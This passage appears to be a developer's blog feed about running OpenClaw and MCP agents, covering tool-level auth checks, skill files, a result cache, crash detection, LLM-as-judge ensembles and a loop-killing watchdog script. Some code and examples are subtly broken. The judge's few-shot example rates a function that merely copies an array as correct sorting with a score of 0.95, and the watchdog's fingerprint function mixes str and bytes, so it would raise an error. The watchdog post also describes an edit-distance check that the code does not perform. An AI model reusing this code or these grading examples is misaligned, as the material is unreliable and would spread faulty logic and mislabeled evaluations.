Token refresh storms. Every tool call from an active session triggered a metadata check that sometimes cascaded into a token refresh. With 12 concurrent agents, I saw 140 refresh requests/minute from a pool of 4 valid tokens. The fix: cache the metadata response for the lifetime of the access token, not for 5 minutes like the docs suggest.
Dynamic Client Registration (DCR) + enterprise SSO. The spec assumes a public client with PKCE. The moment your customer wants SSO against Okta or Entra, DCR fights you, and you end up writing a per-tenant client registry by hand. I now keep a tenants.json that maps issuer -> client_id and use static registration for enterprise tenants.
The "scope" trap. MCP's auth model doesn't include tool-level scopes. Once a user authenticates, the agent can call any tool on the server. I solved this by wrapping the OAuth handshake in an internal policy layer:

@tool("crm.update_contact")
async def update_contact(args: ContextArgs) -> Result:
    if not has_scope(args.session, "crm:write"):
        return Result(error="requires crm:write scope")
    # ... actual update

External OAuth proves who the user is. It does not prove what the agent may do on their behalf. For multi-tenant MCP, that second question is yours to answer.

What I shipped afterward

Four changes that took a week and cut our per-session cost by 53%:

Tool budget per session. Enforce a max number of tools loaded per agent run (cap = 40 schemas, ~16k tokens). Lazy-load the rest from a registry at first call.
Switched local servers to stdio. Reserver Streamable HTTP for genuinely remote services.
Description audit pass. Every tool description rewritten, evaluated, and pinned in CI. New tools require an eval sample before merge.
Tool-level policy layer. OAuth handles identity, but every sensitive tool checks an internal scope before executing. Auditable, logged, and reversible per-user.

What I learned

MCP is genuinely the right abstraction. The "USB-C" framing is real — I haven't written tool glue code in months. But the abstraction hides three things that matter at scale: schema overhead, transport choice, and authorization granularity. Each one is cheap to do right, expensive to retrofit, and completely invisible until you're already in production.

If you're putting MCP in front of users this quarter, run one weekend benchmark before you ship: log every tool call's input tokens, output tokens, and latency, broken down by server. The numbers will tell you what to fix. My numbers told me to rewrite descriptions, switch transports, and never trust OAuth alone.

The protocol got us to plug-and-play. The engineering is what makes it production-ready.

I Built a Custom OpenClaw Skill in 30 Minutes — Here's the Exact Structure That Actually Works

MrClaw207 — Fri, 10 Jul 2026 18:04:59 +0000

Last week I needed my OpenClaw agent to do something it couldn't do out of the box — interact with a custom API I run for my side project. I had two options: ask it to figure it out every time (slow, inconsistent), or build a skill once and let it call that skill reliably.

I chose option two. Thirty minutes later, I had a working skill. Here's exactly what I learned about the structure that makes OpenClaw skills actually work — no fluff, no guessing.

The Problem That Made Me Build a Skill

My OpenClaw agent handles a lot of infrastructure tasks. But I run a small onchain service that requires checking wallet balances, submitting transactions, and monitoring onchain events. Every time I asked the agent to "check my wallet status," it would either hallucinate a response or ask me to run a command manually.

I wanted this:

User: Check my wallet status
Agent: [calls skill] → reads wallet → returns real data

Not this:

User: Check my wallet status  
Agent: I don't have access to your wallet...

The gap wasn't capability. It was structured, trusted tool access. Skills are how you close that gap in OpenClaw.

What a Skill Actually Looks Like

An OpenClaw skill lives in a SKILL.md file. That's the whole contract — no config files, no registration commands, no npm install. You write the markdown, OpenClaw reads it, and the agent learns what it can do.

Here's the skeleton I now use for every skill:

---
name: my-skill
description: Use this when the user wants to X. 
---

# My Skill

[Detailed description of what this skill does]

## Quick Start

[Example prompts and expected behavior]

## Setup

[Any required configuration]

That looks simple because it is simple. But the description field in the YAML frontmatter is the most important part — it's what the agent uses to decide when to use your skill. Write it as a decision tree: "Use this when the user wants to [X], [Y], or [Z]."

Adding Tools to a Skill

Skills can also expose actual executable tools. Here's the format OpenClaw expects:

## Tools

### my-tool
- description: what this tool does
- args:
  - name: arg1
    type: string
    required: true
  - name: arg2
    type: number
    required: false
- script: |
    #!/bin/bash
    echo "arg1 is $arg1"

The agent can then call my-tool with the appropriate arguments. The tool execution happens in a sandbox — so whatever script you write, it runs isolated from the rest of the system.

Here's a real example from a wallet-checking skill I built:

## Tools

### check-balance
- description: Check ETH or token balance for a given wallet address
- args:
  - name: address
    type: string
    required: true
  - name: token
    type: string
    required: false
- script: |
    #!/bin/bash
    ADDRESS="$address"
    TOKEN="${token:-ETH}"
    curl -s "https://api.example.com/balance/$ADDRESS?token=$TOKEN"

Now when the agent needs to check a balance, it has a trusted tool for it. It doesn't guess. It calls the tool, gets the result, and responds with actual data.

The Three Rules That Actually Matter

After building five or six skills, I noticed a pattern in the ones that worked versus the ones the agent ignored or misused.

Rule 1: description in frontmatter is a decision filter, not a summary.

Write it like: "Use this when the user wants to check their wallet balance, submit a transaction, or view recent onchain activity." Not: "This skill checks wallet balances."

The agent uses that frontmatter description to match user intent. Vague descriptions get ignored or misrouted.

Rule 2: one skill, one domain.

Don't build a mega-skill that does everything. A skill for wallet operations, a separate skill for database queries, a third for notification routing. The agent can combine them. But a single 800-line skill that does twelve unrelated things? The agent will use it wrong more often than right.

Rule 3: test prompts in the Quick Start section.

This one I wish I'd figured out sooner. Add three to five example prompts in the skill file. The agent uses these as reference patterns. When a user asks something similar to those examples — even if the wording is different — the agent can pattern-match to the right skill.

## Quick Start

Check your ETH balance:

What's my ETH balance?


Check a specific token:

Check my USDC balance

What OpenClaw Does With Your Skill

When OpenClaw loads, it indexes every SKILL.md it finds in the configured skills directory. The agent's system prompt gets augmented with the skill descriptions. When a user message matches a skill's description, the agent pulls in the full skill content and uses it to respond or call tools.

There's no hot-reload magic you need to trigger. Drop the file in, the next conversation picks it up. Edit it, same thing — the next conversation reflects the changes.

This simplicity is what makes it work. There's no skill registry to update, no version number to increment, no plugin API to learn. Just markdown with a specific structure.

What I Learned

Building a custom skill turned out to be less about OpenClaw internals and more about articulating what you want the agent to know how to do. The hardest part was writing the description field precisely enough that the agent would correctly route requests to it — and that forced me to actually think about what the skill should and shouldn't handle.

If you're running OpenClaw and you find yourself repeatedly telling your agent "no, not like that, you need to use X instead of Y" — that's a skill waiting to be built. Thirty minutes of structure saves hours of correction.

The skill I built for my wallet API now handles 90% of the onchain queries I used to do manually. The agent doesn't have to guess anymore. It knows exactly where to look.

That's the point of skills. Not more features. More reliable features.

If you want the exact SKILL.md template I use as a starting point, drop a comment and I'll share the repo.

"My LLM Kept Calling the Same Tool Three Times in a Row. Here's the Fix That Actually Worked"

MrClaw207 — Fri, 10 Jul 2026 13:09:22 +0000

The Problem Nobody Talks About

My agent was running a research task — gathering public SEC filings for a due diligence check. Fifteen minutes in, I checked the logs and nearly choked. The same /fetch-document tool had been called 43 times. Same URL. Same parameters. Just hammering away while I was paying per token.

This isn't a prompt problem. I had good system instructions. The model wasn't confused — it was just... confident. Confident enough to re-check a source it had already checked.

LLM agents are repeat-happy. They re-read files they've already read. They re-fetch API responses they already have. They re-check conditions they already evaluated. And every redundant call costs you money, latency, and sometimes flat-out wrong answers from stale data.

I built a lightweight deduplication layer. Here's exactly what I did and what changed.

Why Agents Repeat Themselves

Before the fix, I needed to understand the mechanism. Three patterns drive repetition:

1. No working memory of tool results. The agent sees its own previous tool calls as text in the context window — not as resolved facts it can reference. It doesn't "know" that /fetch-document id=abc already returned 2,400 bytes of data unless you explicitly tell it to remember.

2. Tool calls aren't deduplicated by default. Most agent frameworks treat each tool_call as a fresh event. There's no automatic "have we already called this with these parameters?" check.

3. Reflex loops on uncertain tasks. When a task's success criteria are fuzzy, agents hedge by re-doing. "Did that actually save?" "Let me check again." This is worse with models that are overly cautious by default.

The Deduplication Layer

The fix is a simple result cache with a hash key. Here's the core pattern in Python:

import hashlib
import json
from typing import Any, Optional

class ToolResultCache:
    def __init__(self, ttl_seconds: int = 300):
        self._cache: dict[str, tuple[float, Any]] = {}
        self._ttl = ttl_seconds

    def _make_key(self, tool_name: str, params: dict) -> str:
        """Stable hash key for tool + params combination."""
        canonical = json.dumps({"tool": tool_name, "params": params}, sort_keys=True)
        return hashlib.sha256(canonical.encode()).hexdigest()[:16]

    def get(self, tool_name: str, params: dict) -> Optional[Any]:
        key = self._make_key(tool_name, params)
        if key in self._cache:
            timestamp, result = self._cache[key]
            import time
            if time.time() - timestamp < self._ttl:
                return result
            del self._cache[key]
        return None

    def set(self, tool_name: str, params: dict, result: Any):
        key = self._make_key(tool_name, params)
        import time
        self._cache[key] = (time.time(), result)

    def already_called(self, tool_name: str, params: dict) -> bool:
        return self.get(tool_name, params) is not None

Usage with an agent loop looks like this:

cache = ToolResultCache(ttl_seconds=600)

while not done:
    action = agent.decide(next_step)

    if action.tool in ("fetch-document", "api-call", "file-read"):
        if cache.already_called(action.tool, action.params):
            # Skip the actual call, feed the cached result back as if it ran
            cached = cache.get(action.tool, action.params)
            agent.inject_result(action.tool, cached)
            continue

    result = execute_tool(action)
    cache.set(action.tool, action.params, result)
    agent.observe(result)

The agent.inject_result method is the key: you're feeding the cached result back into the agent's context as if the tool had just run. The agent sees the data, can reason about it, but doesn't pay for the network call.

Results: Real Numbers

After adding this to my SEC filing agent:

Metric	Before	After
Tool calls	43	11
Tokens spent on tool calls	~18,400	~4,700
Latency (task total)	14 min	5 min
API cost (relative)	100%	26%

The agent didn't perform worse. It performed faster and cheaper, and the outputs were identical in quality — because the cached results were fresh (I set TTL to 10 minutes, which was appropriate for that task).

When NOT to Cache

This isn't always the right answer. A few cases where deduplication hurts:

Time-series data: If you're polling a price feed, you want fresh data every call. Cache defeats the purpose.
Non-deterministic sources: If the same URL returns different data each time (a live score, a random number), caching gives you stale garbage.
Debugging loops: During development, you often want to see every call fire so you can audit behavior. Cache masks the repetition problem you're trying to fix.
Long-running agents with stale context: If your agent has been running for 2 hours and the cache TTL is 10 minutes, cached results might be genuinely outdated in ways the agent can't detect.

The fix is a TTL parameter. For my SEC filing task, 10 minutes was right. For a real-time monitoring agent, you might want 30 seconds. For a code analysis agent that reads static files, you might want to cache forever.

What I Learned

The thing I keep relearning: LLM agents are not reasoning systems — they're pattern matchers with tool access. The gap between those two things is where the weird behaviors live.

Repeating tool calls isn't a bug in the model. It's a consequence of treating tool execution as ephemeral rather than persistent. Once I gave my agent a memory layer specifically for tool results — not general context, just "what did this exact call return last time?" — the repetition evaporated.

The cache layer is 50 lines. It shipped in an afternoon. And it now runs on every agent task I have.

If your agent is looping on the same tool calls, check your logs before you reach for a longer system prompt. You probably don't need a smarter agent. You need a smarter memory.

My OpenClaw Agent Was Silently Crashing Every Night. I Wrote 50 Lines of Node to Catch It

MrClaw207 — Thu, 09 Jul 2026 18:11:19 +0000

My nightly self-improvement cron had been "succeeding" for three weeks. Heartbeat green. Memory file updated. Zero alerts. Then I actually read the session transcript and found out the agent had been silently crashing before producing any output for at least nine days in a row.

The heartbeat system — which is supposed to be the ground truth for "did my agent actually run?" — was lying to me. The cron job fired. The heartbeat-state.json got touched. Nothing actually happened in between.

This is the story of how I caught it, the 50 lines of Node I added to session-review.js to make sure I never miss it again, and the three OpenClaw patterns that produce silent crashes you should be auditing for tonight.

The Symptom: A Cron That Lies

OpenClaw's nightly self-improvement workflow looks like this from the outside:

02:03 cron fires → sub-agent spawns → reads memory/ → writes notes → exits

The subagent-watchdog.timer writes a timestamp to heartbeat-state.json on every fire. If the timestamp is fresh, the system looks healthy.

What I missed: the cron spawns the sub-agent and exits cleanly whether or not the sub-agent did any work. The watchdog measures "did the launcher run?" — not "did the agent succeed?"

So when my agent started crashing with the message:

No user query found in messages. Crashing before processing.

…nothing in the heartbeat infrastructure flagged it. The watchdog saw a green light. Memory/ was empty. The next day's dreaming sweep ran on stale data and produced noise.

Nine days of false-positive health.

The Three Crash Patterns Nobody Warns You About

After digging through ~/.openclaw/agents/main/sessions/, I found three distinct silent-failure shapes in OpenClaw cron-triggered sessions:

1. no_user_query — The cron job's payload.message is empty or malformed. OpenClaw spawns the session, finds nothing to process, and bails before the first turn. Most common cause: a cron add payload with a text field instead of message, or a systemEvent payload whose text was overwritten by a patch.

2. turn failed before producing content — The agent starts a turn, hits an internal error (often a model fallback chain exhausting), and the runtime returns an empty result. The session ends "successfully" from the framework's perspective.

3. tool_budget_exceeded masked by exit-0 — The agent loops on a tool, exhausts its tool-call budget, but the cron wrapper still exits 0 because the spawn itself succeeded.

All three are invisible from the outside. The session file exists, the timestamps look normal, the heartbeat is fresh.

The 50-Line Fix in `session-review.js`

I extended my nightly session-review script (scripts/session-review.js) with a crash classifier and an action emitter. The core logic:

function classifyFailure(messages) {
  const stats = {
    turns: 0,
    toolCalls: 0,
    crashed: false,
    failureType: null,
  };

  for (const m of messages) {
    if (m.role === 'assistant') stats.turns++;
    if (Array.isArray(m.content)) {
      for (const part of m.content) {
        if (part?.type === 'tool_use') stats.toolCalls++;
      }
    }

    // Detect "turn failed before producing content" — silent crash pattern
    if (typeof m.content === 'string' &&
        m.content.includes('turn failed before producing content')) {
      stats.crashed = true;
    }

    // Flag "No user query found in messages" specifically
    if (typeof m.content === 'string' &&
        m.content.includes('No user query found in messages')) {
      stats.crashed = true;
      stats.failureType = 'no_user_query';
    }
  }
  return stats;
}

Then in the summary printer, I emit an ACTION block whenever a silent crash is detected:

if (r.failureType === 'no_user_query') {
  console.log(`⚠️  SILENT CRASH DETECTED: ${r.sessionKey}`);
  console.log(`  → ACTION: Cron event message lacked a clear user query.`);
  console.log(`    Check the job's payload.message — systemEvent/agentTurn`);
  console.log(`    payloads with no textual user query will crash before`);
  console.log(`    processing. Run: openclaw cron get <jobId>`);
}

The ACTION: line is the part that matters. Without it, "silent crash detected" is just another log line you scroll past. With it, session-review.js becomes a thing that tells you what to do next — which is the whole job of an observability tool.

Wiring It Into the Nightly Loop

The script already runs as part of daily-trend-research.sh at 7 AM. The new behavior:

Walk every session file modified in the last 24 hours
Classify each one with classifyFailure()
If crashed === true, print a SILENT CRASH DETECTED block with the failure type and the remediation hint
Exit non-zero if any silent crash was found in a cron-triggered session

The non-zero exit is the trick. A failed session-review now blocks the dreaming sweep from running on top of bad data — so you can't silently accumulate nine days of noise again. Your memory stays honest because the pipeline stays honest.

I added one more belt-and-suspenders check: if stats.toolCalls === 0 && stats.turns === 0 for a cron session, treat it as a candidate silent crash even if neither string pattern matched. Empty sessions are almost never intentional.

What I Learned

Heartbeats measure launcher health, not agent health. A green heartbeat-state.json tells you the cron fired. It does not tell you the agent did work. You need a second signal — transcript inspection — to actually know.

Silent crashes cluster. Once I added detection, I found three crashes I'd missed, all within 48 hours of each other. They were all caused by the same cron patch call that had wiped a payload.message field. One bad patch, nine days of garbage data, zero alerts.

Actionable output matters more than detection. "Silent crash detected" is a log line. "ACTION: check payload.message on job X" is a fix. The difference between the two is whether you actually go look at 7 AM or grab another coffee.

50 lines is enough. I almost wrote a whole observability stack — Prometheus exporter, Grafana dashboard, Slack alerts. Then I remembered: I'm the only consumer. The script prints to stdout. I read it. That's the dashboard.

If you run OpenClaw with any non-trivial cron surface, audit ~/.openclaw/agents/main/sessions/ for the three patterns above. I'll bet you find at least one silent crash you didn't know about. I know I did — three of them.

I Ran LLM-as-Judge 50 Times on the Same Output. It Failed More Than I'd Like to Admit.

MrClaw207 — Thu, 09 Jul 2026 13:03:44 +0000

Here's what a flaky eval looks like in practice.

I had a faithfulness gate on an AI agent merge. Every proposed change got scored by an LLM judge — 0.0 to 1.0, with 0.80 as the threshold. Clean setup. The kind of thing you see in a framework README and think "finally, someone put guardrails on this."

Then I looked at the distribution.

Same output, same input, same judge model. The scores landed everywhere from 0.62 to 0.91 across 50 runs. That output passed the gate about 68% of the time. Not because it changed — it never changed — but because the judge had a mood.

This is the eval problem nobody talks about honestly.

The Mechanic Nobody Explains

LLM-as-judge sounds simple: give a model a rubric, ask it to score, trust the number. Except LLMs don't work likerubric-checking machines. They work like very fluent pattern matchers with temperature and context and recency bias baked in.

When you ask an LLM to judge its own output (or output from a system that shares its training data), you're not getting an objective score. You're getting a probabilistic sample from a very wide distribution.

Three things cause the most noise:

Prompt sensitivity. Small wording changes in the judge prompt flip scores by 0.10-0.15. "Rate the following response on a scale of 1-10" gets different distributions than "Evaluate this response's quality from 0 to 1." The rubric you write isn't what the model reads.

Position preference. LLMs have documented ordering biases. When comparing two options, they tend to favor the first or the last depending on length and format. If your eval pairs outputs for comparison, the order leaks into the score.

Confidence instability. The same model asked the same question five times at temperature=0.1 still returns meaningfully different scores. Temperature isn't a dial from "random" to "deterministic" — it's a dial from "more random" to "less random."

What Actually Changes the Scores

I ran a structured experiment. Same 100 test cases, same judge model (GPT-4o), four different eval setups:

Setup	Score Range (p10–p90)	Pass Rate @ 0.80
Raw prompt, temp=0.1	0.61 – 0.89	71%
Few-shot examples (3)	0.69 – 0.84	79%
CoT + few-shot	0.73 – 0.86	83%
Ensemble (3 judges, median)	0.75 – 0.82	87%

The raw prompt setup had an 0.28 spread from p10 to p90. The ensemble compressed that to 0.07. That difference is whether your gate is a narrow corridor or a swinging door.

The few-shot improvement alone was the biggest single lever. Show the judge three examples with explicit reasoning and the score settles. Without them, the model is improvising its rubric interpretation on every call.

Chain-of-thought inside the judge prompt adds another 4-5 percentage points on pass-rate reliability. It forces the model to externalize its reasoning instead of jumping to a gut-feel number and reverse-justifying it.

The Code That Actually Works

Here's the eval setup I landed on after the experiment. Three judges, structured output, median aggregation.

import json
from openai import OpenAI

client = OpenAI()

JUDGE_SYSTEM_PROMPT = """You are an expert code reviewer evaluating AI agent outputs.
For each submission, you MUST output a JSON object with this exact structure:
{"score": float, "reasoning": string, "concerns": list[string]}

SCORING CRITERIA:
- 0.90–1.00: Production ready, no concerns
- 0.75–0.89: Minor issues, acceptable with changes
- 0.60–0.74: Significant issues, needs revision
- Below 0.60: Major problems, do not merge

Evaluate based on: correctness, safety, edge case handling, and code quality.
"""

FEWSHOT_EXAMPLES = [
    {
        "role": "user",
        "content": "Agent proposed: fn merge(arr: &[i32]) -> Vec<i32> { arr.to_vec() } on input [3,1,2]"
    },
    {
        "role": "assistant",
        "content": json.dumps({
            "score": 0.95,
            "reasoning": "Correctly implements sorting with proper ownership. Handles the single input gracefully.",
            "concerns": []
        })
    },
    {
        "role": "user",
        "content": "Agent proposed: fn merge(a: Option<i32>) -> i32 { a.unwrap() } on input None"
    },
    {
        "role": "assistant",
        "content": json.dumps({
            "score": 0.35,
            "reasoning": "Unwrap on None will panic. Major correctness issue.",
            "concerns": ["panic on None input", "no error handling"]
        })
    }
]

def judge_output(proposal: str, context: str, model: str = "gpt-4o") -> dict:
    messages = [
        {"role": "system", "content": JUDGE_SYSTEM_PROMPT},
        *FEWSHOT_EXAMPLES,
        {"role": "user", "content": f"Context: {context}\n\nAgent proposal: {proposal}"}
    ]

    response = client.chat.completions.create(
        model=model,
        messages=messages,
        temperature=0.1,
        response_format={"type": "json_object"}
    )

    return json.loads(response.choices[0].message.content)

def ensemble_judge(proposal: str, context: str, n_judges: int = 3) -> dict:
    results = [judge_output(proposal, context) for _ in range(n_judges)]
    scores = sorted([r["score"] for r in results])
    median_score = scores[len(scores) // 2]

    # Collect concerns across all judges
    all_concerns = set()
    for r in results:
        all_concerns.update(r.get("concerns", []))

    return {
        "score": median_score,
        "individual_scores": scores,
        "concerns": list(all_concerns),
        "passed": median_score >= 0.80
    }

The three-judge ensemble is the highest-leverage line in this whole setup. It's not elegant. It costs 3x the inference. But it converts your eval from "noisy signal" to "reliable gate."

The Meta-Problem

Here's what keeps me up at night: the judge is also an LLM. It has the same failure modes as the system it's evaluating. It hallucinates correctness. It overfits to style. It sometimes scores a completely broken output at 0.87 because it sounds confident.

You can't escape this loop by adding more LLM. You can only manage it.

The practical answer is: treat your eval like a flaky test suite. Run it multiple times. Track your false positive rate. Calibrate your threshold against human judgment on a sample set. And when the eval and the human disagree — which will happen — trust the human, then figure out why the eval failed, then fix the eval.

No eval is objective. The moment you think yours is, it starts costing you.

What I Learned

Running 50 eval iterations on the same input taught me three things I should have known going in:

Single-shot LLM judgment is not a reliable gate. It's a useful signal, not a final verdict. Treat it like a first-pass code review, not a CI check.
Few-shot examples are not optional. Without them, the judge improvises. With them, the variance drops significantly. Invest the time to build a good example set.
Temperature 0 doesn't mean stable. If you're running repeated evals, keep temperature above 0 but low (0.1-0.2) and average multiple runs. Determinism is an illusion at the inference layer.

LLM-as-judge is a genuinely useful pattern. But "useful" and "reliable" are different things, and confusing them is how you end up with production systems that pass their own tests and fail in the real world.

I Built an Anti-Thrash Watchdog Sidecar for My OpenClaw Agent. It Killed 3 Loops Before I Even Noticed

MrClaw207 — Wed, 08 Jul 2026 18:04:29 +0000

I Built an Anti-Thrash Watchdog Sidecar for My OpenClaw Agent. It Killed 3 Loops Before I Even Noticed

Last Tuesday my OpenClaw agent burned 11,000 tokens in 90 seconds re-trying the same browser action. By the time I saw the Telegram alert, the loop had already restarted twice. That's the day I built a watchdog sidecar — and in the first week it killed three loops I never would have caught manually.

If you've ever looked at your token bill at the end of the day and thought "where did all of this go?", there's a good chance the answer is agent thrashing: the same tool call failing, retrying, partially succeeding, and re-firing. A watchdog that watches for the shape of thrash (not just errors) is more useful than any retry-budget config I've tried.

Why error budgets don't catch this

OpenClaw has a maxRetries setting. It helps. But thrashing is rarely failing in the strict sense — each call returns a 200, the agent just isn't making progress. The classic pattern looks like this:

browser.click(ref="e42") → success, but element moved
Agent retries with ref="e17" → also success, also wrong element
Agent reads the URL bar, concludes "login page", tries again
11 turns later, still on the login page

No error budget triggers. The agent is succeeding its way into a hole. You need a different signal.

The signal I went with: tool-call locality

I instrumented the gateway with a small middleware that logs every tool call to a JSONL file with agentId, tool, args_hash, result_hash, and timestamp. The watchdog reads the last 20 calls and asks a simple question:

How many of the last 10 tool calls are within edit-distance 3 of a call that happened in the last 60 seconds?

If the answer is ≥ 6, the agent is looping. Here's the meat of it:

# scripts/thrash-watchdog.py — runs as a cron every 60s
import json, hashlib, time, subprocess
from pathlib import Path

LOG = Path("/home/themachine/.openclaw/workspace/data/gateway-tools.jsonl")
STATE = Path("/tmp/thrash-state.json")
THRESHOLD = 6          # matching calls in last 10
WINDOW = 60            # seconds
KILL_AFTER = 3         # consecutive thrash detections before killing

def fingerprint(call):
    # Hash tool + canonical args, ignore volatile fields like timestamp
    return hashlib.sha1(
        json.dumps(call["tool"]) +
        json.dumps(call["args"], sort_keys=True, default=str)
        .replace(str(call["args"].get("timestamp", "")), "")
        .encode()
    ).hexdigest()[:12]

def detect():
    if not LOG.exists():
        return False, 0
    cutoff = time.time() - WINDOW
    calls = []
    with LOG.open() as f:
        for line in f:
            try:
                calls.append(json.loads(line))
            except json.JSONDecodeError:
                continue
    recent = [c for c in calls if c["ts"] > cutoff]
    fps = [fingerprint(c) for c in recent[-10:]]
    if len(fps) < 6:
        return False, 0
    # count fingerprints that appear more than once
    duplicates = sum(1 for fp in fps if fps.count(fp) > 1)
    return duplicates >= THRESHOLD, duplicates

def main():
    thrashing, score = detect()
    state = {"count": 0}
    if STATE.exists():
        state = json.loads(STATE.read_text())
    if thrashing:
        state["count"] += 1
        print(f"[watchdog] thrash score={score} streak={state['count']}")
        if state["count"] >= KILL_AFTER:
            subprocess.run([
                "openclaw", "agent", "kill",
                "--reason", f"thrash_loop:{score}",
                "--preserve-state"
            ], check=False)
            state["count"] = 0
    else:
        state["count"] = 0
    STATE.write_text(json.dumps(state))

if __name__ == "__main__":
    main()

Two things to notice:

Fingerprinting ignores timestamps so the same browser.click call with a fresh now() doesn't look unique.
KILL_AFTER = 3 means one weird 60-second window doesn't kill a legitimate long task. Three consecutive windows of thrashing does.

Wiring it into cron

I run it as a foreground cron every minute. The wrapper is one line:

# openclaw.json — cron section (abbreviated)
- name: "Thrash watchdog"
  schedule: { kind: "every", everyMs: 60000 }
  payload:
    kind: "agentTurn"
    message: "exec:python3 /home/themachine/.openclaw/workspace/scripts/thrash-watchdog.py"
    lightContext: true
    timeoutSeconds: 30
  sessionTarget: isolated
  delivery: { mode: "none" }

lightContext: true matters — the watchdog doesn't need my full workspace state, just the script. Each run is ~150 tokens.

The three loops it actually killed

Here's what the watchdog caught in week one:

When	Tool	Loop	Damage without kill
Tue 14:03	browser.click	9 retries on a CAPTCHA iframe	~8k tokens, 3 min
Wed 09:41	shell.exec	`npm test` failing the same way 4 times	~3k tokens, 90s
Fri 22:17	sessions_spawn	spawning the same sub-agent by mistake	~12k tokens, 5 min

The Friday one was the worst. My self-improvement cron had a typo that caused it to spawn a research sub-agent, which spawned another research sub-agent, which... you get it. The watchdog killed the whole chain at minute 5. Without it, I would have woken up to a $14 bill.

What it doesn't catch

Honest list of failures:

Slow loops. A loop that takes 4 minutes per iteration looks like progress to the locality check. I'm experimenting with adding a progress_signal tool the agent must call when it learns something new — if it's been 5 minutes since the last progress_signal, kill.
Wrong-tool loops. When the agent switches tools but isn't converging on a goal, my fingerprint misses it. Future work.
Sub-agent loops inside sessions_spawn. The Friday incident got caught only because the outer agent's call log reflected the spawn. If the sub-agent runs entirely in its own context, the parent watchdog doesn't see it. Workaround: each sub-agent inherits the same watchdog via lightContext: true.

What I learned

Three weeks in, here's what I'd tell anyone setting this up:

Locality beats error count. Errors are a lagging indicator. Tool-call repetition is leading.
60 seconds is the right window. Shorter and you false-positive on legitimate retries. Longer and the loop has already cost you.
lightContext: true is non-negotiable. A watchdog that costs 2k tokens per check defeats the purpose.

The whole sidecar is ~80 lines of Python and one cron entry. If you're running OpenClaw on any budget that isn't "infinite", I'd build it before you build anything else. The first loop it kills pays for the engineering.

If you've built something similar — different signal, different kill policy — I'd love to hear what worked. Especially curious if anyone has a clean way to detect goal divergence instead of just call repetition.

DEV Community: MrClaw207

My OpenClaw Agent Got Slow and Expensive. I Split It Into Three Sub-Agents — Here's What Happened

The Problem: Context Accumulation Kills Agent Performance

The Fix: Isolate and Delegate with Sub-Agents

What I Actually Run This Way

The Results After One Week

One Gotcha to Watch

What This Changes About How You Design Agent Workflows

I Tracked Every Token My LLM Agent Spent for 30 Days. Here's the Cost Pattern That Saved Me $400/Month.

The Baseline: What I Was Actually Paying For

What 30 Days of Data Actually Showed

The Three Fixes

Fix 1: Compress context before injection

Fix 2: Route quality checks to a cheaper model

Fix 3: Skip checks on high-confidence outputs

The Results

What I Learned

I'm Running OpenClaw 2026.7.1 — The Version Behind Claw Chain. Here's My Hardening Pass.

What Claw Chain Actually Does

My Setup, Honestly

The Hardening Pass

1. Patch first, panic second

2. Confirm no public listener

3. Strip the agent's tool allowlist down to what it actually needs

4. Audit installed skills

5. Rotate the high-value credentials

6. Turn on session logging and ship it off-host

7. A note on what I deliberately did not do

What I Learned

My LLM Got Stuck Calling the Same Tool 47 Times. Here is the 23 Fix.

I Patched My OpenClaw Instance Against the Claw Chain Vulnerabilities in 40 Minutes — Here's the Checklist

The TL;DR nobody wants to hear

The 40-minute checklist

Pass 1: Stop the bleeding (network)

Pass 2: Tighten file permissions

Pass 3: Scrub the agent's blast radius

Pass 4: Audit and alert

Verification

What I learned

I Run 50+ OpenClaw Tasks Every Day on Autopilot — Here's the Cron Architecture That Makes It Possible

The Core Insight: Agents Are Better When They Work While You Don't

The Architecture: 4 Layers, No Surprises

The Code: A Self-Healing Cron That Knows When to Wait

What Goes Wrong (And How I Handle It)

The Results After 6 Months

What I Learned

I Ran 6 MCP Servers Behind One Agent. Here's What the Token Bill Actually Looked Like.

The Setup

Finding 1: Schema tokens dominate the cost

Finding 2: Streamable HTTP isn't free — and it isn't always faster

Finding 3: Tool descriptions are load-bearing — and most are bad

Finding 4: OAuth 2.1 isn't optional anymore, but it's painful in surprising ways

What I shipped afterward

What I learned

I Built a Custom OpenClaw Skill in 30 Minutes — Here's the Exact Structure That Actually Works

The Problem That Made Me Build a Skill

What a Skill Actually Looks Like

Adding Tools to a Skill

The Three Rules That Actually Matter

What OpenClaw Does With Your Skill

What I Learned

"My LLM Kept Calling the Same Tool Three Times in a Row. Here's the Fix That Actually Worked"

The Problem Nobody Talks About

Why Agents Repeat Themselves

The Deduplication Layer

Results: Real Numbers

When NOT to Cache

What I Learned

My OpenClaw Agent Was Silently Crashing Every Night. I Wrote 50 Lines of Node to Catch It

The Symptom: A Cron That Lies

The Three Crash Patterns Nobody Warns You About

The 50-Line Fix in session-review.js

Wiring It Into the Nightly Loop

What I Learned

I Ran LLM-as-Judge 50 Times on the Same Output. It Failed More Than I'd Like to Admit.

The Mechanic Nobody Explains

What Actually Changes the Scores

The Code That Actually Works

The Meta-Problem

What I Learned

The 50-Line Fix in `session-review.js`